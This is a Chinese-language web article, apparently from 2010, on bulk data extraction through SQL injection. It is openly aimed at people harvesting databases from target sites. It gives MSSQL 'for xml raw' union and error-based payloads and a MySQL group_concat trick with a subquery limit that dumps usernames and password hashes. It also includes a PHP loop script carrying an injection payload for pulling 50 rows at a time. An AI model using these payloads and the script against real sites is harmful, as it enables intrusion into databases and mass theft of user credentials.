SQL注入中获取数据的一些技巧分析

  发布时间:2010-05-13 14:24:21   作者:佚名   我要评论
最近接触了好多欧美日韩台数据库的数据搬运工,很多目标站想拿下来很难很难,不过大家看中的只是数据而非webshell,webshell只是为了搬运数据方便一点。于是试问下,只存在注入时,您还在一条条搬么?
一、MSSQL获取数据:

用的比较多的就是for xml raw了,MSSQL2000都支持的!

注入中显示数据的两个办法均可以使用,一是union select、二是显错,以MSSQL2005为例:

复制代码
代码如下:
select username from members where 1=2 union select top 3 username from members for xml raw

返回(如果username重复,自动去除重复值):

复制代码
代码如下:

<row username="admin"/><row username="Anna"/><row username="oldjun"/>
select username from members where 1=(select top 3 username from members for xml raw)

返回:

复制代码
代码如下:

Msg 245, Level 16, State 1, Line 1
Conversion failed when converting the nvarchar value '<row username="admin"/><row username="Anna"/><row username="oldjun"/>' to data type int.

当数据量很大,无webshell,有注入点可以利用的时候,for xml raw 是不错的获取批量数据的办法!为了不让返回的数据量过大,top可以限制小一点,比如100,另外要附加脚本或者程序对返回值进行处理。

二、MYSQL获取数据:

用的比较多的是group_concat,mysql>=4.1支持该函数,可能很多人知道了,但我看过的文章几乎都是用来读table_name或者column_name的,毕竟表名、列名的数据量不大,所以用起来很方便,可以一下子把所有表名或者所有列名读出来。不过用group_concat批量注入读数据的很少,虽然可以提高效率,增快速度。

因为group_concat有个瓶颈,当group_concat与limit连用时,limit不起作用(也许是先执行group_concat),于是group_concat一次性读出很多条数据(取决于group_concat_max_len,默认1024),而一般网站数据量都是很大的。一旦不能与limit连用,怎么获取之后的数据呢?

其实简单变动下SQL语句即可以实现group_concat与limit连用:

复制代码
代码如下:

select concat(group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c)) from (select * from members limit 0,3) A

返回:

guest|||admin|||oldjun:084e0343a0486ff05530df6c705c8bb4|||21232f297a57a5a743894a0e4a801fc3|||ad392a36c512176545900fd05772cbc6
于是简单做下字符串处理,前三条数据就出来了。为了返回不至于数据量过大,单次查询100以下一般可以接受的。

三、给出部分示例代码(mysql group_concat 50条数据每次):

复制代码
代码如下:

<?
if ($argc < 3) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' start end(end: count/50)
Example:
php '.$argv[0].' 0 9999
Author:oldjun(http://www.oldjun.com)
+---------------------------------------------------------------------------+
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$start = $argv[1];
$over = $argv[2];
for($i=$start;$i<=$over;$i++){
getdata($i);
}
function getdata($i)
{
$resp = send($i);
if ($resp){
preg_match('#<<<<<<<<<<([^\n]+):([^\n]+)>>>>>>>>>>#', $resp, $value);
if($value){
$namearr=explode("|||",$value[1]);
$passarr=explode("|||",$value[2]);
for($j=0;$j<50;$j++){
echo $namearr[$j]."|||".$passarr[$j]."\r\n";
}
unset($namearr);
unset($passarr);
}else{
echo $resp;
echo "value error,return $i\r\n";
getdata($i);
}
}
else{
echo "resp error,return $i\r\n";
getdata($i);
}
}
function send($i)
{
$limit=$i*50;
//发送数据包代码省略
//注入语句示例:union select 1,2,3,4,CONCAT(0x3C3C3C3C3C3C3C3C3C3C,group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c),0x3E3E3E3E3E3E3E3E3E3E) FROM (select * from members limit ".$limit.",50) A#
}
?>

相关文章

  • SQL注入黑客防线网站实例分析

    这篇文章主要介绍了SQL注入黑客防线网站实例分析,需要的朋友可以参考下
    2017-05-19
  • ASP+PHP 标准sql注入语句(完整版)

    这里为大家分享一下sql注入的一些语句,很多情况下由于程序员的安全意识薄弱或基本功不足就容易导致sql注入安全问题,建议大家多看一下网上的安全文章,最好的防范就是先学
    2017-05-19
  • mysql 注入报错利用方法总结

    这篇文章主要介绍了mysql 注入报错利用方法总结的相关资料,需要的朋友可以参考下
    2016-10-08
  • SQL注入攻击(攻击与防范)

    SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入
    2016-05-21
  • SQL注入测试实例分析

    这篇文章主要为大家介绍了SQL注入测试实例分析,对于数据库安全非常重要,需要的朋友可以参考下
    2014-08-06
  • Sqlmap注入技巧集锦

    sqlmap 是一个自动SQL 射入工具。本文收集了一些利用Sqlmap做注入测试的TIPS,其中也包含一点绕WAF的技巧,便于大家集中查阅,欢迎接楼补充、分享。
    2014-07-29
  • SQL注入攻防入门详解 [图文并茂] 附示例下载

    毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发……必须的各种借口。这几天把sql注入
    2012-11-06
  • Java防止SQL注入的几个途径

    java防SQL注入,最简单的办法是杜绝SQL拼接,SQL注入攻击能得逞是因为在原有SQL语句中加入了新的逻辑
    2012-08-10
  • 防止SQL注入攻击的一些方法小结

    SQL注入攻击的危害性很大。在讲解其防止办法之前,数据库管理员有必要先了解一下其攻击的原理。这有利于管理员采取有针对性的防治措施
    2012-07-10
  • web 页面 一些sql注入语句小结

    web 页面 一些sql注入语句小结,对于开发人员来说一定要注意的事项。
    2012-03-12

最新评论